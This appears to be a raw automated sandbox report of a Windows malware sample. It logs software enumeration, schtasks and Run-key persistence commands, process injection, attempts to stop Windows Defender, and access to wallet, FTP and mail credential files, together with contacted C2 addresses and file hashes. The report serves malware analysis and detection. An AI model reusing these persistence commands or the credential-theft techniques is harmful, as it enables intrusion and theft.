 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-00BA-0409-0000-0000000FF1CE}
base_handle: 0x80000002
key_handle: 0x00000470
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-00BA-0409-0000-0000000FF1CE}
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-00E1-0409-0000-0000000FF1CE}
base_handle: 0x80000002
key_handle: 0x00000470
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-00E1-0409-0000-0000000FF1CE}
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-00E2-0409-0000-0000000FF1CE}
base_handle: 0x80000002
key_handle: 0x00000470
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-00E2-0409-0000-0000000FF1CE}
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0115-0409-0000-0000000FF1CE}
base_handle: 0x80000002
key_handle: 0x00000470
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0115-0409-0000-0000000FF1CE}
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0117-0409-0000-0000000FF1CE}
base_handle: 0x80000002
key_handle: 0x00000470
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0117-0409-0000-0000000FF1CE}
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-012B-0409-0000-0000000FF1CE}
base_handle: 0x80000002
key_handle: 0x00000470
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-012B-0409-0000-0000000FF1CE}
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{91150000-0011-0000-0000-0000000FF1CE}
base_handle: 0x80000002
key_handle: 0x00000470
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{91150000-0011-0000-0000-0000000FF1CE}
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{939659F3-71D2-461F-B24D-91D05A4389B4}
base_handle: 0x80000002
key_handle: 0x00000470
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{939659F3-71D2-461F-B24D-91D05A4389B4}
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{9B84A461-3B4C-40E2-B44F-CE22E215EE40}
base_handle: 0x80000002
key_handle: 0x00000470
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{9B84A461-3B4C-40E2-B44F-CE22E215EE40}
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{AC76BA86-7AD7-FFFF-7B44-AC0F074E4100}
base_handle: 0x80000002
key_handle: 0x00000470
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{AC76BA86-7AD7-FFFF-7B44-AC0F074E4100}
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{BB8B979E-E336-47E7-96BC-1031C1B94561}
base_handle: 0x80000002
key_handle: 0x00000470
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{BB8B979E-E336-47E7-96BC-1031C1B94561}
1 0 0
Time & API Arguments Status Return Repeated

NtTerminateProcess

 status_code: 0xffffffff
process_identifier: 2760
process_handle: 0x00000638
0 0

NtTerminateProcess

 status_code: 0xffffffff
process_identifier: 2760
process_handle: 0x00000638
1 0 0

NtTerminateProcess

 status_code: 0xffffffff
process_identifier: 2840
process_handle: 0x00000638
0 0

NtTerminateProcess

 status_code: 0xffffffff
process_identifier: 2840
process_handle: 0x00000638
1 0 0
cmdline schtasks /create /tn "MalayamaraUpdate" /tr "'C:\Users\test22\AppData\Local\Temp\Updater.exe'" /sc minute /mo 30 /F
cmdline "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN explorhe.exe /TR "C:\Users\test22\AppData\Local\Temp\d887ceb89d\explorhe.exe" /F
cmdline SCHTASKS /Create /SC MINUTE /MO 1 /TN explorhe.exe /TR "C:\Users\test22\AppData\Local\Temp\d887ceb89d\explorhe.exe" /F
cmdline schtasks /create /f /RU "test22" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 HR" /sc HOURLY /rl HIGHEST
cmdline "C:\Program Files (x86)\Internet Explorer\iexplore.exe" SCODEF:2760 CREDAT:145409
cmdline "C:\Program Files (x86)\Internet Explorer\iexplore.exe" -nohome
cmdline schtasks /create /f /RU "test22" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 LG" /sc ONLOGON /rl HIGHEST
cmdline chcp 1251
wmi SELECT * FROM Win32_Processor
host 109.107.182.3
host 141.95.211.148
host 185.172.128.109
host 185.172.128.19
host 185.172.128.90
host 185.215.113.68
host 193.233.132.62
host 5.42.64.33
host 94.156.67.230
host 195.20.16.103
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2620
region_size: 335872
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000228
1 0 0
file C:\ProgramData\AVAST Software
file C:\ProgramData\Avira
file C:\ProgramData\Kaspersky Lab
file C:\ProgramData\Panda Security
file C:\ProgramData\Bitdefender
file C:\ProgramData\AVG
file C:\ProgramData\Doctor Web
file C:\Users\test22\AppData\Local\Temp\SandboxieInstall.exe
Time & API Arguments Status Return Repeated

ControlService

 service_handle: 0x006e8fe8
service_name: WinDefend
control_code: 1
0 0

ControlService

 service_handle: 0x006e93d0
service_name: wuauserv
control_code: 1
0 0
Time & API Arguments Status Return Repeated

NtQuerySystemInformation

 information_class: 8 (SystemProcessorPerformanceInformation)
1 0 0
registry HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion
registry HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion
registry HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString
reg_key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\RageMP131 reg_value C:\Users\test22\AppData\Local\RageMP131\RageMP131.exe
reg_key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\stan.exe reg_value C:\Users\test22\AppData\Local\Temp\1000609001\stan.exe
cmdline schtasks /create /tn "MalayamaraUpdate" /tr "'C:\Users\test22\AppData\Local\Temp\Updater.exe'" /sc minute /mo 30 /F
cmdline "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN explorhe.exe /TR "C:\Users\test22\AppData\Local\Temp\d887ceb89d\explorhe.exe" /F
cmdline SCHTASKS /Create /SC MINUTE /MO 1 /TN explorhe.exe /TR "C:\Users\test22\AppData\Local\Temp\d887ceb89d\explorhe.exe" /F
cmdline schtasks /create /f /RU "test22" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 HR" /sc HOURLY /rl HIGHEST
cmdline schtasks /create /f /RU "test22" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 LG" /sc ONLOGON /rl HIGHEST
file C:\Users\test22\AppData\Roaming\Electrum\wallets
file C:\Users\test22\AppData\Local\Temp\BroomSetup.exe
registry HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU\NoAutoUpdate
file C:\Users\test22\AppData\Roaming\GHISLER\wcx_ftp.ini
file C:\Users\test22\AppData\Roaming\FileZilla\sitemanager.xml
file C:\Users\test22\AppData\Roaming\FileZilla\recentservers.xml
wmi SELECT * FROM AntivirusProduct
wmi SELECT * FROM Win32_VideoController
wmi SELECT * FROM Win32_Process Where SessionId='1'
wmi SELECT * FROM AntiSpyWareProduct
wmi SELECT * FROM FirewallProduct
wmi SELECT * FROM Win32_DiskDrive
wmi SELECT * FROM Win32_Processor
Time & API Arguments Status Return Repeated

WriteProcessMemory

 buffer: MZÿÿ¸@€º´ Í!¸LÍ!This program cannot be run in DOS mode. $PEL¸éïà 0äÌŽ @  @…@K ÀÉ  H.text”â ä `.rsrcÀÉ Êæ@@.reloc °@B
base_address: 0x00400000
process_identifier: 2620
process_handle: 0x00000228
1 1 0

WriteProcessMemory

 buffer:  2
base_address: 0x00450000
process_identifier: 2620
process_handle: 0x00000228
1 1 0

WriteProcessMemory

 buffer: @
base_address: 0x7efde008
process_identifier: 2620
process_handle: 0x00000228
1 1 0
Time & API Arguments Status Return Repeated

WriteProcessMemory

 buffer: MZÿÿ¸@€º´ Í!¸LÍ!This program cannot be run in DOS mode. $PEL¸éïà 0äÌŽ @  @…@K ÀÉ  H.text”â ä `.rsrcÀÉ Êæ@@.reloc °@B
base_address: 0x00400000
process_identifier: 2620
process_handle: 0x00000228
1 1 0
Time & API Arguments Status Return Repeated

RegQueryValueExA

 key_handle: 0x00000470
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: 7-Zip 20.02 alpha
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\7-Zip\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x00000470
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Adobe AIR
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Adobe AIR\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x00000470
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: EditPlus
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\EditPlus\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x00000470
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Chrome
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x00000470
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: ????? ?? 2010
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Haansoft HWord 80 Korean\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x00000470
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Mozilla Thunderbird 78.4.0 (x86 ko)
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Mozilla Thunderbird 78.4.0 (x86 ko)\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x00000470
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Microsoft Office Professional Plus 2013
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Office15.PROPLUSR\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x00000470
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Adobe AIR
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{00203668-8170-44A0-BE44-B632FA4D780F}\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x00000470
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: HttpWatch Professional 9.3.39
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{01B845D4-B73E-4CF7-A377-94BC7BB4F77B}\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x00000470
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: ????? ?? 2010
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{1D91F7DA-F517-4727-9E62-B7EA978BE980}\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x00000470
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Java 8 Update 131
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{26A24AE4-039D-4CA4-87B4-2F32180131F0}\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x00000470
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Java Auto Updater
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{4A03706F-666A-4037-7777-5F2748764D10}\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x00000470
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Google Update Helper
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{60EC980A-BDA2-4CB6-A427-B07A5498B4CA}\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x00000470
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Microsoft Access MUI (English) 2013
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0015-0409-0000-0000000FF1CE}\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x00000470
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Microsoft Excel MUI (English) 2013
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0016-0409-0000-0000000FF1CE}\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x00000470
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Microsoft PowerPoint MUI (English) 2013
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0018-0409-0000-0000000FF1CE}\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x00000470
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Microsoft Publisher MUI (English) 2013
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0019-0409-0000-0000000FF1CE}\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x00000470
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Microsoft Outlook MUI (English) 2013
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-001A-0409-0000-0000000FF1CE}\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x00000470
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Microsoft Word MUI (English) 2013
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-001B-0409-0000-0000000FF1CE}\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x00000470
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Microsoft Office Proofing Tools 2013 - English
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-001F-0409-0000-0000000FF1CE}\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x00000470
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Outils de vérification linguistique 2013 de Microsoft Office - Français
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-001F-040C-0000-0000000FF1CE}\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x00000470
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Microsoft Office Proofing Tools 2013 - Español
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-001F-0C0A-0000-0000000FF1CE}\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x00000470
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Microsoft Office Proofing (English) 2013
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-002C-0409-0000-0000000FF1CE}\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x00000470
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Microsoft InfoPath MUI (English) 2013
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0044-0409-0000-0000000FF1CE}\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x00000470
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Microsoft Office Shared MUI (English) 2013
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-006E-0409-0000-0000000FF1CE}\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x00000470
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Microsoft DCF MUI (English) 2013
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0090-0409-0000-0000000FF1CE}\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x00000470
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Microsoft OneNote MUI (English) 2013
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-00A1-0409-0000-0000000FF1CE}\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x00000470
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Microsoft Groove MUI (English) 2013
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-00BA-0409-0000-0000000FF1CE}\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x00000470
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Microsoft Office OSM MUI (English) 2013
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-00E1-0409-0000-0000000FF1CE}\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x00000470
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Microsoft Office OSM UX MUI (English) 2013
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-00E2-0409-0000-0000000FF1CE}\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x00000470
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Microsoft Office Shared Setup Metadata MUI (English) 2013
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0115-0409-0000-0000000FF1CE}\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x00000470
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Microsoft Access Setup Metadata MUI (English) 2013
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0117-0409-0000-0000000FF1CE}\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x00000470
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Microsoft Lync MUI (English) 2013
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-012B-0409-0000-0000000FF1CE}\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x00000470
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Microsoft Office Professional Plus 2013
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{91150000-0011-0000-0000-0000000FF1CE}\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x00000470
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Adobe Flash Player 13 ActiveX
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{939659F3-71D2-461F-B24D-91D05A4389B4}\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x00000470
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Adobe Flash Player 13 NPAPI
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{9B84A461-3B4C-40E2-B44F-CE22E215EE40}\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x00000470
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Adobe Acrobat Reader DC MUI
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{AC76BA86-7AD7-FFFF-7B44-AC0F074E4100}\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x00000470
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Microsoft Visual C++ 2015 Redistributable (x64) - 14.0.24215
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{d992c12e-cab2-426f-bde3-fb8c53950b0d}\DisplayName
1 0 0

RegQueryValueExW

 key_handle: 0x00000548
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: 7-Zip 20.02 alpha
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\7-Zip\DisplayName
1 0 0

RegQueryValueExW

 key_handle: 0x00000548
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Adobe AIR
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Adobe AIR\DisplayName
1 0 0

RegQueryValueExW

 key_handle: 0x00000548
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: EditPlus
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\EditPlus\DisplayName
1 0 0

RegQueryValueExW

 key_handle: 0x00000548
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Chrome
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome\DisplayName
1 0 0

RegQueryValueExW

 key_handle: 0x00000548
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: 한컴오피스 한글 2010
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Haansoft HWord 80 Korean\DisplayName
1 0 0

RegQueryValueExW

 key_handle: 0x00000548
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Mozilla Thunderbird 78.4.0 (x86 ko)
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Mozilla Thunderbird 78.4.0 (x86 ko)\DisplayName
1 0 0

RegQueryValueExW

 key_handle: 0x00000548
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Microsoft Office Professional Plus 2013
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Office15.PROPLUSR\DisplayName
1 0 0

RegQueryValueExW

 key_handle: 0x00000548
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Adobe AIR
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{00203668-8170-44A0-BE44-B632FA4D780F}\DisplayName
1 0 0

RegQueryValueExW

 key_handle: 0x00000548
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: HttpWatch Professional 9.3.39
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{01B845D4-B73E-4CF7-A377-94BC7BB4F77B}\DisplayName
1 0 0

RegQueryValueExW

 key_handle: 0x00000548
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: 한컴오피스 한글 2010
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{1D91F7DA-F517-4727-9E62-B7EA978BE980}\DisplayName
1 0 0

RegQueryValueExW

 key_handle: 0x00000548
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Java 8 Update 131
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{26A24AE4-039D-4CA4-87B4-2F32180131F0}\DisplayName
1 0 0

RegQueryValueExW

 key_handle: 0x00000548
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Java Auto Updater
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{4A03706F-666A-4037-7777-5F2748764D10}\DisplayName
1 0 0
file C:\Users\test22\AppData\Roaming\ICQ\0001
file C:\Users\test22\AppData\Roaming\Thunderbird\profiles.ini
registry HKEY_CURRENT_USER\Software\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676
registry HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003
registry HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001
registry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F81F111D0E5AB58D396F7BF525577FD30FDC95AA\Blob
process rost.exe useragent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36
process iexplore.exe useragent Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
process explorhe.exe useragent
process InstallSetup7.exe useragent NSIS_Inetc (Mozilla)
Process injection Process 3532 called NtSetContextThread to modify thread in remote process 2620
Time & API Arguments Status Return Repeated

NtSetContextThread

 registers.eip: 2005598660
registers.esp: 3538788
registers.edi: 0
registers.eax: 4391566
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x00000224
process_identifier: 2620
1 0 0
description Possibly a polymorphic version of itself file {u'size': 1206784, u'yara': [{u'strings': [], u'meta': {u'description': u'(no description)'}, u'name': u'IsPE32', u'offsets': {}}, {u'strings': [u'bnRkbGwuZGw='], u'meta': {u'date': u'2021-03-16', u'update': u'2021-04-14', u'description': u'Malicious Packer', u'author': u'r0d'}, u'name': u'Malicious_Packer_Zero', u'offsets': {u'o104': [[562778L, 0]]}}, {u'strings': [u'TVo='], u'meta': {u'ini_date': u'2020-06-03', u'description': u'PE File Signature', u'author': u'r0d'}, u'name': u'PE_Header_Zero', u'offsets': {u'signature': [[0L, 0]]}}], u'sha1': u'5a73502a3a1d1e2e338f460759d384de372bb8ee', u'name': u'38ab80de75a319f2_stan.exe', u'filepath': u'C:\\Users\\test22\\AppData\\Local\\Temp\\1000609001\\stan.exe', u'sha512': u'312285002178997a94dcb45c75a5fe07b97497b40fb52cdeb937a43f8778cd6397b8426959250df21fb6b8f128a218f384531bc11d30976c953caf134657005e', u'urls': [], u'crc32': u'34B5F5B9', u'path': u'/home/cuckoo/.cuckoo/storage/analyses/47646/files/38ab80de75a319f2_stan.exe', u'ssdeep': u'24576:MHZ/m0WaVIiMgrVVTwW8O/PUdlwQqN2K3yWds0JkKyVSupaxxHPTOC:MHJCBUTwa/PolnadsLEuY/va', u'sha256': u'38ab80de75a319f2f1d2096d4dc661e599aa1439c6a2e1d4781097b3b2f6edab', u'type': u'PE32 executable (GUI) Intel 80386, for MS Windows', u'pids': [316, 3380], u'md5': u'b6342a379e219478de2da371d804131e', u'virustotal': {u'summary': {u'error': u'resource has not been scanned yet'}}}
file C:\Windows\Prefetch\PYTHON.EXE-C663CFDC.pf
file C:\Windows\Prefetch\GOOGLEUPDATESETUP.EXE-305B5E54.pf
